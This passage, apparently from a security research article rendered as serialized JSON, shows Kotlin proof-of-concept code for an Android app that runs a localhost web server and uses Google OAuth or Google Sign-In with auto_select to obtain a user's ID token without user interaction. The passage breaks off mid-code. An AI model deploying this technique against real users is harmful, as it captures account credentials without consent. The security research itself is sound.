:101654,"children":101655},{"style":4293},[101656],{"type":27,"value":35455},{"type":22,"tag":264,"props":101658,"children":101659},{"style":1597},[101660],{"type":27,"value":21366},{"type":22,"tag":264,"props":101662,"children":101663},{"style":1539},[101664],{"type":27,"value":71986},{"type":22,"tag":264,"props":101666,"children":101667},{"class":1534,"line":1660},[101668],{"type":22,"tag":264,"props":101669,"children":101670},{"style":1539},[101671],{"type":27,"value":60206},{"type":22,"tag":264,"props":101673,"children":101674},{"class":1534,"line":1668},[101675],{"type":22,"tag":264,"props":101676,"children":101677},{"style":1539},[101678],{"type":27,"value":4651},{"type":22,"tag":264,"props":101680,"children":101681},{"class":1534,"line":1677},[101682],{"type":22,"tag":264,"props":101683,"children":101684},{"emptyLinePlaceholder":17},[101685],{"type":27,"value":4986},{"type":22,"tag":264,"props":101687,"children":101688},{"class":1534,"line":1686},[101689],{"type":22,"tag":264,"props":101690,"children":101691},{"style":4284},[101692],{"type":27,"value":72015},{"type":22,"tag":264,"props":101694,"children":101695},{"class":1534,"line":4948},[101696,101700,101704,101708],{"type":22,"tag":264,"props":101697,"children":101698},{"style":4293},[101699],{"type":27,"value":72023},{"type":22,"tag":264,"props":101701,"children":101702},{"style":1539},[101703],{"type":27,"value":72028},{"type":22,"tag":264,"props":101705,"children":101706},{"style":4309},[101707],{"type":27,"value":429},{"type":22,"tag":264,"props":101709,"children":101710},{"style":1597},[101711],{"type":27,"value":101712}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":22,"tag":264,"props":101714,"children":101715},{"class":1534,"line":4957},[101716,101720,101724,101728,101732,101736,101740],{"type":22,"tag":264,"props":101717,"children":101718},{"style":4293},[101719],{"type":27,"value":72023},{"type":22,"tag":264,"props":101721,"children":101722},{"style":1539},[101723],{"type":27,"value":72049},{"type":22,"tag":264,"props":101725,"children":101726},{"style":4309},[101727],{"type":27,"value":429},{"type":22,"tag":264,"props":101729,"children":101730},{"style":4401},[101731],{"type":27,"value":72058},{"type":22,"tag":264,"props":101733,"children":101734},{"style":1539},[101735],{"type":27,"value":72063},{"type":22,"tag":264,"props":101737,"children":101738},{"style":4401},[101739],{"type":27,"value":40526},{"type":22,"tag":264,"props":101741,"children":101742},{"style":1539},[101743],{"type":27,"value":72072},{"type":22,"tag":264,"props":101745,"children":101746},{"class":1534,"line":4980},[101747,101751],{"type":22,"tag":264,"props":101748,"children":101749},{"style":4401},[101750],{"type":27,"value":72080},{"type":22,"tag":264,"props":101752,"children":101753},{"style":1539},[101754],{"type":27,"value":72085},{"type":22,"tag":264,"props":101756,"children":101757},{"class":1534,"line":4989},[101758],{"type":22,"tag":264,"props":101759,"children":101760},{"style":1539},[101761],{"type":27,"value":1674},{"type":22,"tag":264,"props":101763,"children":101764},{"class":1534,"line":4998},[101765],{"type":22,"tag":264,"props":101766,"children":101767},{"emptyLinePlaceholder":17},[101768],{"type":27,"value":4986},{"type":22,"tag":264,"props":101770,"children":101771},{"class":1534,"line":5067},[101772,101776,101780,101784],{"type":22,"tag":264,"props":101773,"children":101774},{"style":4293},[101775],{"type":27,"value":72107},{"type":22,"tag":264,"props":101777,"children":101778},{"style":4293},[101779],{"type":27,"value":7499},{"type":22,"tag":264,"props":101781,"children":101782},{"style":4401},[101783],{"type":27,"value":72116},{"type":22,"tag":264,"props":101785,"children":101786},{"style":1539},[101787],{"type":27,"value":17036},{"type":22,"tag":264,"props":101789,"children":101790},{"class":1534,"line":5075},[101791,101795,101799,101803,101807],{"type":22,"tag":264,"props":101792,"children":101793},{"style":4401},[101794],{"type":27,"value":72128},{"type":22,"tag":264,"props":101796,"children":101797},{"style":1539},[101798],{"type":27,"value":72133},{"type":22,"tag":264,"props":101800,"children":101801},{"style":4309},[101802],{"type":27,"value":429},{"type":22,"tag":264,"props":101804,"children":101805},{"style":4344},[101806],{"type":27,"value":72142},{"type":22,"tag":264,"props":101808,"children":101809},{"style":1539},[101810],{"type":27,"value":16103},{"type":22,"tag":264,"props":101812,"children":101813},{"class":1534,"line":5105},[101814,101818],{"type":22,"tag":264,"props":101815,"children":101816},{"style":4401},[101817],{"type":27,"value":72154},{"type":22,"tag":264,"props":101819,"children":101820},{"style":1539},[101821],{"type":27,"value":4594},{"type":22,"tag":264,"props":101823,"children":101824},{"class":1534,"line":5113},[101825,101829,101833,101837],{"type":22,"tag":264,"props":101826,"children":101827},{"style":4293},[101828],{"type":27,"value":72166},{"type":22,"tag":264,"props":101830,"children":101831},{"style":1539},[101832],{"type":27,"value":2660},{"type":22,"tag":264,"props":101834,"children":101835},{"style":1597},[101836],{"type":27,"value":72175},{"type":22,"tag":264,"props":101838,"children":101839},{"style":1539},[101840],{"type":27,"value":16103},{"type":22,"tag":264,"props":101842,"children":101843},{"class":1534,"line":5145},[101844,101848,101852],{"type":22,"tag":264,"props":101845,"children":101846},{"style":1539},[101847],{"type":27,"value":72187},{"type":22,"tag":264,"props":101849,"children":101850},{"style":4401},[101851],{"type":27,"value":72192},{"type":22,"tag":264,"props":101853,"children":101854},{"style":1539},[101855],{"type":27,"value":4594},{"type":22,"tag":264,"props":101857,"children":101858},{"class":1534,"line":5153},[101859,101863],{"type":22,"tag":264,"props":101860,"children":101861},{"style":4401},[101862],{"type":27,"value":72204},{"type":22,"tag":264,"props":101864,"children":101865},{"style":1539},[101866],{"type":27,"value":4594},{"type":22,"tag":264,"props":101868,"children":101869},{"class":1534,"line":5213},[101870,101874,101878,101882,101886],{"type":22,"tag":264,"props":101871,"children":101872},{"style":4401},[101873],{"type":27,"value":72216},{"type":22,"tag":264,"props":101875,"children":101876},{"style":1539},[101877],{"type":27,"value":72221},{"type":22,"tag":264,"props":101879,"children":101880},{"style":4309},[101881],{"type":27,"value":429},{"type":22,"tag":264,"props":101883,"children":101884},{"style":1597},[101885],{"type":27,"value":72230},{"type":22,"tag":264,"props":101887,"children":101888},{"style":1539},[101889],{"type":27,"value":4463},{"type":22,"tag":264,"props":101891,"children":101892},{"class":1534,"line":10343},[101893,101897,101901,101905,101909,101913,101917,101921],{"type":22,"tag":264,"props":101894,"children":101895},{"style":4401},[101896],{"type":27,"value":72216},{"type":22,"tag":264,"props":101898,"children":101899},{"style":1539},[101900],{"type":27,"value":72246},{"type":22,"tag":264,"props":101902,"children":101903},{"style":4309},[101904],{"type":27,"value":429},{"type":22,"tag":264,"props":101906,"children":101907},{"style":1597},[101908],{"type":27,"value":72255},{"type":22,"tag":264,"props":101910,"children":101911},{"style":1539},[101912],{"type":27,"value":72260},{"type":22,"tag":264,"props":101914,"children":101915},{"style":4309},[101916],{"type":27,"value":429},{"type":22,"tag":264,"props":101918,"children":101919},{"style":1597},[101920],{"type":27,"value":72269},{"type":22,"tag":264,"props":101922,"children":101923},{"style":1539},[101924],{"type":27,"value":4463},{"type":22,"tag":264,"props":101926,"children":101927},{"class":1534,"line":10361},[101928,101932,101936,101940],{"type":22,"tag":264,"props":101929,"children":101930},{"style":4401},[101931],{"type":27,"value":72281},{"type":22,"tag":264,"props":101933,"children":101934},{"style":1539},[101935],{"type":27,"value":2660},{"type":22,"tag":264,"props":101937,"children":101938},{"style":1597},[101939],{"type":27,"value":72290},{"type":22,"tag":264,"props":101941,"children":101942},{"style":1539},[101943],{"type":27,"value":4463},{"type":22,"tag":264,"props":101945,"children":101946},{"class":1534,"line":10406},[101947],{"type":22,"tag":264,"props":101948,"children":101949},{"style":1539},[101950],{"type":27,"value":72302},{"type":22,"tag":264,"props":101952,"children":101953},{"class":1534,"line":10512},[101954,101958],{"type":22,"tag":264,"props":101955,"children":101956},{"style":4401},[101957],{"type":27,"value":72310},{"type":22,"tag":264,"props":101959,"children":101960},{"style":1539},[101961],{"type":27,"value":4594},{"type":22,"tag":264,"props":101963,"children":101964},{"class":1534,"line":24810},[101965,101969,101973,101977,101981],{"type":22,"tag":264,"props":101966,"children":101967},{"style":4401},[101968],{"type":27,"value":72322},{"type":22,"tag":264,"props":101970,"children":101971},{"style":1539},[101972],{"type":27,"value":10884},{"type":22,"tag":264,"props":101974,"children":101975},{"style":4309},[101976],{"type":27,"value":673},{"type":22,"tag":264,"props":101978,"children":101979},{"style":1597},[101980],{"type":27,"value":72335},{"type":22,"tag":264,"props":101982,"children":101983},{"style":1539},[101984],{"type":27,"value":10894},{"type":22,"tag":264,"props":101986,"children":101987},{"class":1534,"line":24845},[101988,101992],{"type":22,"tag":264,"props":101989,"children":101990},{"style":4401},[101991],{"type":27,"value":72347},{"type":22,"tag":264,"props":101993,"children":101994},{"style":1539},[101995],{"type":27,"value":4594},{"type":22,"tag":264,"props":101997,"children":101998},{"class":1534,"line":24853},[101999,102003],{"type":22,"tag":264,"props":102000,"children":102001},{"style":4309},[102002],{"type":27,"value":72359},{"type":22,"tag":264,"props":102004,"children":102005},{"style":1597},[102006],{"type":27,"value":102007},"\"document.body.innerText = location.hash;\"\n",{"type":22,"tag":264,"props":102009,"children":102010},{"class":1534,"line":24861},[102011],{"type":22,"tag":264,"props":102012,"children":102013},{"style":1539},[102014],{"type":27,"value":72372},{"type":22,"tag":264,"props":102016,"children":102017},{"class":1534,"line":24870},[102018],{"type":22,"tag":264,"props":102019,"children":102020},{"style":1539},[102021],{"type":27,"value":72302},{"type":22,"tag":264,"props":102023,"children":102024},{"class":1534,"line":24912},[102025],{"type":22,"tag":264,"props":102026,"children":102027},{"style":1539},[102028],{"type":27,"value":72387},{"type":22,"tag":264,"props":102030,"children":102031},{"class":1534,"line":24945},[102032],{"type":22,"tag":264,"props":102033,"children":102034},{"style":1539},[102035],{"type":27,"value":72395},{"type":22,"tag":264,"props":102037,"children":102038},{"class":1534,"line":24953},[102039],{"type":22,"tag":264,"props":102040,"children":102041},{"style":1539},[102042],{"type":27,"value":60206},{"type":22,"tag":264,"props":102044,"children":102045},{"class":1534,"line":24961},[102046,102050,102054,102058,102062,102066],{"type":22,"tag":264,"props":102047,"children":102048},{"style":1539},[102049],{"type":27,"value":72410},{"type":22,"tag":264,"props":102051,"children":102052},{"style":4401},[102053],{"type":27,"value":72415},{"type":22,"tag":264,"props":102055,"children":102056},{"style":1539},[102057],{"type":27,"value":72420},{"type":22,"tag":264,"props":102059,"children":102060},{"style":4309},[102061],{"type":27,"value":429},{"type":22,"tag":264,"props":102063,"children":102064},{"style":4293},[102065],{"type":27,"value":13768},{"type":22,"tag":264,"props":102067,"children":102068},{"style":1539},[102069],{"type":27,"value":4463},{"type":22,"tag":264,"props":102071,"children":102072},{"class":1534,"line":24970},[102073],{"type":22,"tag":264,"props":102074,"children":102075},{"style":1539},[102076],{"type":27,"value":1674},{"type":22,"tag":23,"props":102078,"children":102079},{},[102080],{"type":27,"value":102081},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":22,"tag":23,"props":102083,"children":102084},{},[102085,102087,102093],{"type":27,"value":102086},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":22,"tag":257,"props":102088,"children":102090},{"className":102089},[],[102091],{"type":27,"value":102092},"auto_select",{"type":27,"value":102094}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":22,"tag":618,"props":102096,"children":102098},{"className":101454,"code":102097,"language":101456,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[102099],{"type":22,"tag":257,"props":102100,"children":102101},{"__ignoreMap":7},[102102,102129,102148,102155,102174,102185,102196,102227,102250,102297,102304,102311,102318,102358,102369,102376,102383,102402,102425,102436,102455,102470,102481,102501,102512,102529,102555,102579,102586,102597,102609,102622,102630,102638,102645,102652,102660,102668,102676,102684,102692,102700,102708,102715,102722,102730,102738,102746,102753,102760,102768,102775,102796,102804,102811,102818,102829,102853,102865,102882,102889,102896,102904,102912,102920,102948],{"type":22,"tag":264,"props":102103,"children":102104},{"class":1534,"line":1535},[102105,102109,102113,102117,102121,102125],{"type":22,"tag":264,"props":102106,"children":102107},{"style":4293},[102108],{"type":27,"value":71768},{"type":22,"tag":264,"props":102110,"children":102111},{"style":4293},[102112],{"type":27,"value":7499},{"type":22,"tag":264,"props":102114,"children":102115},{"style":4401},[102116],{"type":27,"value":71777},{"type":22,"tag":264,"props":102118,"children":102119},{"style":1539},[102120],{"type":27,"value":71782},{"type":22,"tag":264,"props":102122,"children":102123},{"style":4722},[102124],{"type":27,"value":71787},{"type":22,"tag":264,"props":102126,"children":102127},{"style":1539},[102128],{"type":27,"value":71792},{"type":22,"tag":264,"props":102130,"children":102131},{"class":1534,"line":1545},[102132,102136,102140,102144],{"type":22,"tag":264,"props":102133,"children":102134},{"style":4293},[102135],{"type":27,"value":71800},{"type":22,"tag":264,"props":102137,"children":102138},{"style":1539},[102139],{"type":27,"value":210},{"type":22,"tag":264,"props":102141,"children":102142},{"style":4401},[102143],{"type":27,"value":71809},{"type":22,"tag":264,"props":102145,"children":102146},{"style":1539},[102147],{"type":27,"value":71814},{"type":22,"tag":264,"props":102149,"children":102150},{"class":1534,"line":1560},[102151],{"type":22,"tag":264,"props":102152,"children":102153},{"emptyLinePlaceholder":17},[102154],{"type":27,"value":4986},{"type":22,"tag":264,"props":102156,"children":102157},{"class":1534,"line":1569},[102158,102162,102166,102170],{"type":22,"tag":264,"props":102159,"children":102160},{"style":4401},[102161],{"type":27,"value":71837},{"type":22,"tag":264,"props":102163,"children":102164},{"style":1539},[102165],{"type":27,"value":71842},{"type":22,"tag":264,"props":102167,"children":102168},{"style":4401},[102169],{"type":27,"value":71847},{"type":22,"tag":264,"props":102171,"children":102172},{"style":1539},[102173],{"type":27,"value":4594},{"type":22,"tag":264,"props":102175,"children":102176},{"class":1534,"line":1583},[102177,102181],{"type":22,"tag":264,"props":102178,"children":102179},{"style":4328},[102180],{"type":27,"value":71859},{"type":22,"tag":264,"props":102182,"children":102183},{"style":1539},[102184],{"type":27,"value":4594},{"type":22,"tag":264,"props":102186,"children":102187},{"class":1534,"line":1603},[102188,102192],{"type":22,"tag":264,"props":102189,"children":102190},{"style":4401},[102191],{"type":27,"value":71871},{"type":22,"tag":264,"props":102193,"children":102194},{"style":1539},[102195],{"type":27,"value":9029},{"type":22,"tag":264,"props":102197,"children":102198},{"class":1534,"line":1612},[102199,102203,102207,102211,102215,102219,102223],{"type":22,"tag":264,"props":102200,"children":102201},{"style":1539},[102202],{"type":27,"value":71883},{"type":22,"tag":264,"props":102204,"children":102205},{"style":4401},[102206],{"type":27,"value":71888},{"type":22,"tag":264,"props":102208,"children":102209},{"style":1539},[102210],{"type":27,"value":2660},{"type":22,"tag":264,"props":102212,"children":102213},{"style":1597},[102214],{"type":27,"value":71897},{"type":22,"tag":264,"props":102216,"children":102217},{"style":1539},[102218],{"type":27,"value":4380},{"type":22,"tag":264,"props":102220,"children":102221},{"style":1597},[102222],{"type":27,"value":71906},{"type":22,"tag":264,"props":102224,"children":102225},{"style":1539},[102226],{"type":27,"value":4463},{"type":22,"tag":264,"props":102228,"children":102229},{"class":1534,"line":1621},[102230,102234,102238,102242,102246],{"type":22,"tag":264,"props":102231,"children":102232},{"style":1539},[102233],{"type":27,"value":71918},{"type":22,"tag":264,"props":102235,"children":102236},{"style":4293},[102237],{"type":27,"value":49731},{"type":22,"tag":264,"props":102239,"children":102240},{"style":1539},[102241],{"type":27,"value":71927},{"type":22,"tag":264,"props":102243,"children":102244},{"style":4722},[102245],{"type":27,"value":71932},{"type":22,"tag":264,"props":102247,"children":102248},{"style":1539},[102249],{"type":27,"value":16103},{"type":22,"tag":264,"props":102251,"children":102252},{"class":1534,"line":1629},[102253,102257,102261,102265,102269,102273,102277,102281,102285,102289,102293],{"type":22,"tag":264,"props":102254,"children":102255},{"style":1539},[102256],{"type":27,"value":71883},{"type":22,"tag":264,"props":102258,"children":102259},{"style":4401},[102260],{"type":27,"value":52775},{"type":22,"tag":264,"props":102262,"children":102263},{"style":1539},[102264],{"type":27,"value":2660},{"type":22,"tag":264,"props":102266,"children":102267},{"style":1597},[102268],{"type":27,"value":71897},{"type":22,"tag":264,"props":102270,"children":102271},{"style":1539},[102272],{"type":27,"value":4380},{"type":22,"tag":264,"props":102274,"children":102275},{"style":1597},[102276],{"type":27,"value":71964},{"type":22,"tag":264,"props":102278,"children":102279},{"style":4293},[102280],{"type":27,"value":35423},{"type":22,"tag":264,"props":102282,"children":102283},{"style":4309},[102284],{"type":27,"value":71973},{"type":22,"tag":264,"props":102286,"children":102287},{"style":4293},[102288],{"type":27,"value":35455},{"type":22,"tag":264,"props":102290,"children":102291},{"style":1597},[102292],{"type":27,"value":21366},{"type":22,"tag":264,"props":102294,"children":102295},{"style":1539},[102296],{"type":27,"value":71986},{"type":22,"tag":264,"props":102298,"children":102299},{"class":1534,"line":1642},[102300],{"type":22,"tag":264,"props":102301,"children":102302},{"style":1539},[102303],{"type":27,"value":60206},{"type":22,"tag":264,"props":102305,"children":102306},{"class":1534,"line":1660},[102307],{"type":22,"tag":264,"props":102308,"children":102309},{"style":1539},[102310],{"type":27,"value":4651},{"type":22,"tag":264,"props":102312,"children":102313},{"class":1534,"line":1668},[102314],{"type":22,"tag":264,"props":102315,"children":102316},{"emptyLinePlaceholder":17},[102317],{"type":27,"value":4986},{"type":22,"tag":264,"props":102319,"children":102320},{"class":1534,"line":1677},[102321,102325,102329,102333,102337,102341,102345,102349,102354],{"type":22,"tag":264,"props":102322,"children":102323},{"style":4293},[102324],{"type":27,"value":72023},{"type":22,"tag":264,"props":102326,"children":102327},{"style":1539},[102328],{"type":27,"value":72049},{"type":22,"tag":264,"props":102330,"children":102331},{"style":4309},[102332],{"type":27,"value":429},{"type":22,"tag":264,"props":102334,"children":102335},{"style":4401},[102336],{"type":27,"value":72058},{"type":22,"tag":264,"props":102338,"children":102339},{"style":1539},[102340],{"type":27,"value":72063},{"type":22,"tag":264,"props":102342,"children":102343},{"style":4401},[102344],{"type":27,"value":40526},{"type":22,"tag":264,"props":102346,"children":102347},{"style":1539},[102348],{"type":27,"value":2660},{"type":22,"tag":264,"props":102350,"children":102351},{"style":1597},[102352],{"type":27,"value":102353},"\"http://localhost:3000\"",{"type":22,"tag":264,"props":102355,"children":102356},{"style":1539},[102357],{"type":27,"value":21018},{"type":22,"tag":264,"props":102359,"children":102360},{"class":1534,"line":1686},[102361,102365],{"type":22,"tag":264,"props":102362,"children":102363},{"style":4401},[102364],{"type":27,"value":72080},{"type":22,"tag":264,"props":102366,"children":102367},{"style":1539},[102368],{"type":27,"value":72085},{"type":22,"tag":264,"props":102370,"children":102371},{"class":1534,"line":4948},[102372],{"type":22,"tag":264,"props":102373,"children":102374},{"style":1539},[102375],{"type":27,"value":1674},{"type":22,"tag":264,"props":102377,"children":102378},{"class":1534,"line":4957},[102379],{"type":22,"tag":264,"props":102380,"children":102381},{"emptyLinePlaceholder":17},[102382],{"type":27,"value":4986},{"type":22,"tag":264,"props":102384,"children":102385},{"class":1534,"line":4980},[102386,102390,102394,102398],{"type":22,"tag":264,"props":102387,"children":102388},{"style":4293},[102389],{"type":27,"value":72107},{"type":22,"tag":264,"props":102391,"children":102392},{"style":4293},[102393],{"type":27,"value":7499},{"type":22,"tag":264,"props":102395,"children":102396},{"style":4401},[102397],{"type":27,"value":72116},{"type":22,"tag":264,"props":102399,"children":102400},{"style":1539},[102401],{"type":27,"value":17036},{"type":22,"tag":264,"props":102403,"children":102404},{"class":1534,"line":4989},[102405,102409,102413,102417,102421],{"type":22,"tag":264,"props":102406,"children":102407},{"style":4401},[102408],{"type":27,"value":72128},{"type":22,"tag":264,"props":102410,"children":102411},{"style":1539},[102412],{"type":27,"value":72133},{"type":22,"tag":264,"props":102414,"children":102415},{"style":4309},[102416],{"type":27,"value":429},{"type":22,"tag":264,"props":102418,"children":102419},{"style":4344},[102420],{"type":27,"value":72142},{"type":22,"tag":264,"props":102422,"children":102423},{"style":1539},[102424],{"type":27,"value":16103},{"type":22,"tag":264,"props":102426,"children":102427},{"class":1534,"line":4998},[102428,102432],{"type":22,"tag":264,"props":102429,"children":102430},{"style":4401},[102431],{"type":27,"value":72154},{"type":22,"tag":264,"props":102433,"children":102434},{"style":1539},[102435],{"type":27,"value":4594},{"type":22,"tag":264,"props":102437,"children":102438},{"class":1534,"line":5067},[102439,102443,102447,102451],{"type":22,"tag":264,"props":102440,"children":102441},{"style":4293},[102442],{"type":27,"value":72166},{"type":22,"tag":264,"props":102444,"children":102445},{"style":1539},[102446],{"type":27,"value":2660},{"type":22,"tag":264,"props":102448,"children":102449},{"style":1597},[102450],{"type":27,"value":72175},{"type":22,"tag":264,"props":102452,"children":102453},{"style":1539},[102454],{"type":27,"value":16103},{"type":22,"tag":264,"props":102456,"children":102457},{"class":1534,"line":5075},[102458,102462,102466],{"type":22,"tag":264,"props":102459,"children":102460},{"style":1539},[102461],{"type":27,"value":72187},{"type":22,"tag":264,"props":102463,"children":102464},{"style":4401},[102465],{"type":27,"value":72192},{"type":22,"tag":264,"props":102467,"children":102468},{"style":1539},[102469],{"type":27,"value":4594},{"type":22,"tag":264,"props":102471,"children":102472},{"class":1534,"line":5105},[102473,102477],{"type":22,"tag":264,"props":102474,"children":102475},{"style":4401},[102476],{"type":27,"value":72204},{"type":22,"tag":264,"props":102478,"children":102479},{"style":1539},[102480],{"type":27,"value":4594},{"type":22,"tag":264,"props":102482,"children":102483},{"class":1534,"line":5113},[102484,102488,102492,102497],{"type":22,"tag":264,"props":102485,"children":102486},{"style":4401},[102487],{"type":27,"value":72281},{"type":22,"tag":264,"props":102489,"children":102490},{"style":1539},[102491],{"type":27,"value":2660},{"type":22,"tag":264,"props":102493,"children":102494},{"style":1597},[102495],{"type":27,"value":102496},"\"Test\"",{"type":22,"tag":264,"props":102498,"children":102499},{"style":1539},[102500],{"type":27,"value":4463},{"type":22,"tag":264,"props":102502,"children":102503},{"class":1534,"line":5145},[102504,102508],{"type":22,"tag":264,"props":102505,"children":102506},{"style":4401},[102507],{"type":27,"value":72347},{"type":22,"tag":264,"props":102509,"children":102510},{"style":1539},[102511],{"type":27,"value":4594},{"type":22,"tag":264,"props":102513,"children":102514},{"class":1534,"line":5153},[102515,102520,102524],{"type":22,"tag":264,"props":102516,"children":102517},{"style":1539},[102518],{"type":27,"value":102519},"                                src ",{"type":22,"tag":264,"props":102521,"children":102522},{"style":4309},[102523],{"type":27,"value":429},{"type":22,"tag":264,"props":102525,"children":102526},{"style":1597},[102527],{"type":27,"value":102528}," \"https://accounts.google.com/gsi/client\"\n",{"type":22,"tag":264,"props":102530,"children":102531},{"class":1534,"line":5213},[102532,102537,102542,102546,102550],{"type":22,"tag":264,"props":102533,"children":102534},{"style":1539},[102535],{"type":27,"value":102536},"                                attributes[",{"type":22,"tag":264,"props":102538,"children":102539},{"style":1597},[102540],{"type":27,"value":102541},"\"async\"",{"type":22,"tag":264,"props":102543,"children":102544},{"style":1539},[102545],{"type":27,"value":9956},{"type":22,"tag":264,"props":102547,"children":102548},{"style":4309},[102549],{"type":27,"value":429},{"type":22,"tag":264,"props":102551,"children":102552},{"style":1597},[102553],{"type":27,"value":102554}," \"\"\n",{"type":22,"tag":264,"props":102556,"children":102557},{"class":1534,"line":10343},[102558,102562,102567,102571,102575],{"type":22,"tag":264,"props":102559,"children":102560},{"style":1539},[102561],{"type":27,"value":102536},{"type":22,"tag":264,"props":102563,"children":102564},{"style":1597},[102565],{"type":27,"value":102566},"\"defer\"",{"type":22,"tag":264,"props":102568,"children":102569},{"style":1539},[102570],{"type":27,"value":9956},{"type":22,"tag":264,"props":102572,"children":102573},{"style":4309},[102574],{"type":27,"value":429},{"type":22,"tag":264,"props":102576,"children":102577},{"style":1597},[102578],{"type":27,"value":102554},{"type":22,"tag":264,"props":102580,"children":102581},{"class":1534,"line":10361},[102582],{"type":22,"tag":264,"props":102583,"children":102584},{"style":1539},[102585],{"type":27,"value":72372},{"type":22,"tag":264,"props":102587,"children":102588},{"class":1534,"line":10406},[102589,102593],{"type":22,"tag":264,"props":102590,"children":102591},{"style":4401},[102592],{"type":27,"value":72347},{"type":22,"tag":264,"props":102594,"children":102595},{"style":1539},[102596],{"type":27,"value":4594},{"type":22,"tag":264,"props":102598,"children":102599},{"class":1534,"line":10512},[102600,102605],{"type":22,"tag":264,"props":102601,"children":102602},{"style":4401},[102603],{"type":27,"value":102604},"                                unsafe",{"type":22,"tag":264,"props":102606,"children":102607},{"style":1539},[102608],{"type":27,"value":4594},{"type":22,"tag":264,"props":102610,"children":102611},{"class":1534,"line":24810},[102612,102617],{"type":22,"tag":264,"props":102613,"children":102614},{"style":4309},[102615],{"type":27,"value":102616},"                                    +",{"type":22,"tag":264,"props":102618,"children":102619},{"style":1597},[102620],{"type":27,"value":102621},"\"\"\"\n",{"type":22,"tag":264,"props":102623,"children":102624},{"class":1534,"line":24845},[102625],{"type":22,"tag":264,"props":102626,"children":102627},{"style":1597},[102628],{"type":27,"value":102629},"    function handleCredentialResponse(response) {\n",{"type":22,"tag":264,"props":102631,"children":102632},{"class":1534,"line":24853},[102633],{"type":22,"tag":264,"props":102634,"children":102635},{"style":1597},[102636],{"type":27,"value":102637},"      alert(\"credential: \" + response.credential);\n",{"type":22,"tag":264,"props":102639,"children":102640},{"class":1534,"line":24861},[102641],{"type":22,"tag":264,"props":102642,"children":102643},{"style":1597},[102644],{"type":27,"value":1674},{"type":22,"tag":264,"props":102646,"children":102647},{"class":1534,"line":24870},[102648],{"type":22,"tag":264,"props":102649,"children":102650},{"emptyLinePlaceholder":17},[102651],{"type":27,"value":4986},{"type":22,"tag":264,"props":102653,"children":102654},{"class":1534,"line":24912},[102655],{"type":22,"tag":264,"props":102656,"children":102657},{"style":1597},[102658],{"type":27,"value":102659},"    window.onload = async function () {\n",{"type":22,"tag":264,"props":102661,"children":102662},{"class":1534,"line":24945},[102663],{"type":22,"tag":264,"props":102664,"children":102665},{"style":1597},[102666],{"type":27,"value":102667},"      const oauth_url = new 